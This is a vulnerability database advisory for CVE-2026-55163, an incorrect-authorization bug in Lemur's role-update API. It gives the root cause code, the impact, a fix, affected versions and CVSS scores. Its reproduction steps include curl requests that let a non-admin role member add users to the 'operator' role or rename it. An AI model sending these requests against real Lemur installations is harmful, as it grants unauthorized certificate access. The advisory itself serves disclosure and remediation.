Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-55163
Published:July 01, 2026
Updated:July 14, 2026
Summary The "PUT /api/1/roles/<id>" handler in "lemur/roles/views.py" gates only on "RoleMemberPermission(role_id).can()", which is satisfied for any user who is already a member of the target role. The handler then passes "data["users"]" and "data["name"]" directly to "service.update()", permitting any role member to rewrite that role's membership list and name. The companion "DELETE" handler on the same resource is correctly gated by "@admin_permission.require"; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice. Root Cause "lemur/roles/views.py:298": permission = RoleMemberPermission(role_id) if permission.can(): return service.update( role_id, data["name"], data.get("description"), data.get("users") ) return dict(message="You are not authorized to modify this role."), 403 @admin_permission.require(http_exception=403) def delete(self, role_id): ... "lemur/auth/permissions.py:56": class RoleMemberPermission(Permission): def init(self, role_id): needs = [RoleNeed("admin"), RoleMemberNeed(role_id)] super().init(*needs) "flask_principal.Permission.allows()" is OR-semantic across needs, so "RoleMemberPermission(role_id).can()" returns "True" if the caller is either an admin or a member of "role_id". The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not. Affected Endpoints | Method | Path | Source | |---|---|---| | PUT | /api/1/roles/"<id>" | lemur/roles/views.py:298 | Impact A user who is a member of role X can: - Add other users to role X, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member. - Remove other users from role X, denying their access (availability / governance impact). - Rename role X to an arbitrary string. The "rename to admin" path is blocked by the "unique=True" constraint on "Role.name" and by strict equality in "User.is_admin", so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to. Remediation Add "@admin_permission.require(http_exception=403)" to "Roles.put", mirroring the existing decorator on "Roles.delete": @admin_permission.require(http_exception=403) def put(self, role_id, data=None): ... If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role ownership rather than membership, and the "name" field should be excluded from the mutable schema on that delegated path. Steps to Reproduce 1. Set up Lemur with default configuration. Create an admin user "admin", and two non-admin users "alice" and "bob". Add "alice" to the built-in "operator" role; leave "bob" with no roles or with "read-only" only. 2. Authenticate as "alice" and capture the JWT: curl -X POST https://lemur.local/api/1/auth/login -H "Content-Type: application/json" -d '{"username":"alice","password":"<alice_pw>"}' 3. Confirm the initial state - "bob" is not a member of "operator": curl https://lemur.local/api/1/roles?filter=name;operator -H "Authorization: Bearer <admin_jwt>" observe: alice present in users list, bob absent 4. As "alice", send a PUT that injects "bob" into the "operator" role: curl -X PUT https://lemur.local/api/1/roles/<operator_role_id> -H "Authorization: Bearer <alice_jwt>" -H "Content-Type: application/json" -d '{ "name": "operator", "description": "modified by alice", "users": [{"id": <alice_id>}, {"id": <bob_id>}] }' observe: HTTP 200 5. Confirm "bob" is now a member of "operator": curl https://lemur.local/api/1/roles?filter=name;operator -H "Authorization: Bearer <admin_jwt>" observe: bob now present in users list Step 4 succeeds despite "alice" not being an admin. The same handler also accepts a "name" field; substituting ""name": "operator_v2"" in step 4 renames the role, demonstrating the second variant of the bug.
Affected Packages
lemur (PYTHON):
Affected version(s) >=0.2.1 <1.9.2
Fix Suggestion:
Update to version 1.9.2
Do you need more information?
Contact Us
CVSS v4
Base Score:
5.3
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
NONE
Vulnerable System Confidentiality
LOW
Vulnerable System Integrity
LOW
Vulnerable System Availability
LOW
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
6.3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
LOW
Integrity
LOW
Availability
LOW
Weakness Type (CWE)
Incorrect Authorization